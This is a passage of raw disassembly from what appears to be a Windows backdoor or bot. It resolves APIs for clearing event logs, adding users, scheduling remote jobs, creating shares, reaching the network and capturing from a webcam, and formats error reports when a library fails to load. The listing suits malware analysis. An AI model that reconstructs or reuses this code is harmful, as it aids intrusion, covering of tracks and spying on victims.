cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi ; GetProcAddress cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi ; GetProcAddress cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi ; GetProcAddress cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi ; GetProcAddress cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, ds:dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi ; GetProcAddress push offset aSend_0 ; "send" push edi mov dword_4CB8FC, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi ; GetProcAddress mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi ; GetProcAddress cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi ; GetProcAddress cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi ; GetProcAddress cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi ; GetProcAddress cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi ; GetProcAddress cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi ; GetProcAddress cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA7C, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA74, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA3C, eax call esi ; GetProcAddress cmp dword_4CBA7C, ebx mov dword_4CB90C, eax jz short loc_40A481 cmp dword_4CBA74, ebx jz short loc_40A481 cmp dword_4CBA3C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAE8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAE4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB940, eax call esi ; GetProcAddress cmp dword_4CB940, ebx mov dword_4CBA48, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAF0, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAEC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA10, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA5C, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB998, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB950, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB9F0, eax call esi ; GetProcAddress cmp dword_4CBA10, ebx mov dword_4CB960, eax jz short loc_40A569 cmp dword_4CBA5C, ebx jz short loc_40A569 cmp dword_4CB998, ebx jz short loc_40A569 cmp dword_4CB950, ebx jz short loc_40A569 cmp dword_4CB9F0, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBAF8, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBAF4, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB924, eax call esi ; GetProcAddress cmp dword_4CB924, ebx mov dword_4CBA04, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j call ds:dword_427094 ; RtlGetLastWin32Error mov dword_4CBB00, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBAFC, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A5C5(int,char *Str,int,int) sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+Str] push esi xor esi, esi cmp dword_4CBA94, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBA98 lea eax, [ebp+Dest] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBA9C, esi jz short loc_40A641 push dword_4CBAA0 lea eax, [ebp+Dest] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAA4, esi jz short loc_40A675 push dword_4CBAA8 lea eax, [ebp+Dest] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBAAC, esi jz short loc_40A6A9 push dword_4CBAB0 lea eax, [ebp+Dest] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAB4, esi jz short loc_40A6DD push dword_4CBAB8 lea eax, [ebp+Dest] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBABC, esi jz short loc_40A711 push dword_4CBAC0 lea eax, [ebp+Dest] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAC4, esi jz short loc_40A745 push dword_4CBAC8 lea eax, [ebp+Dest] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBACC, esi jz short loc_40A779 push dword_4CBAD0 lea eax, [ebp+Dest] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAD4, esi jz short loc_40A7AD push dword_4CBAD8 lea eax, [ebp+Dest] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBADC, esi jz short loc_40A7E1 push dword_4CBAE0 lea eax, [ebp+Dest] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAE4, esi jz short loc_40A815 push dword_4CBAE8 lea eax, [ebp+Dest] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAEC, esi jz short loc_40A849 push dword_4CBAF0 lea eax, [ebp+Dest] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBAF4, esi jz short loc_40A87D push dword_4CBAF8 lea eax, [ebp+Dest] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBAFC, esi jz short loc_40A8B1 push dword_4CBB00 lea eax, [ebp+Dest] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax ; Dest loc_40A897: ; DATA XREF: .data:0043320Co ; .data:00433250o ... call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+Dest] push offset asc_42D6C4 ; "-" push eax ; Dest call _sprintf cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+Dest] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB8F0 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx ; DnsFlushResolverCache locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p Dest = byte ptr -88h Size = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+Size] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+Size], edi mov [ebp+var_4], ebx call dword_4CBA50 ; 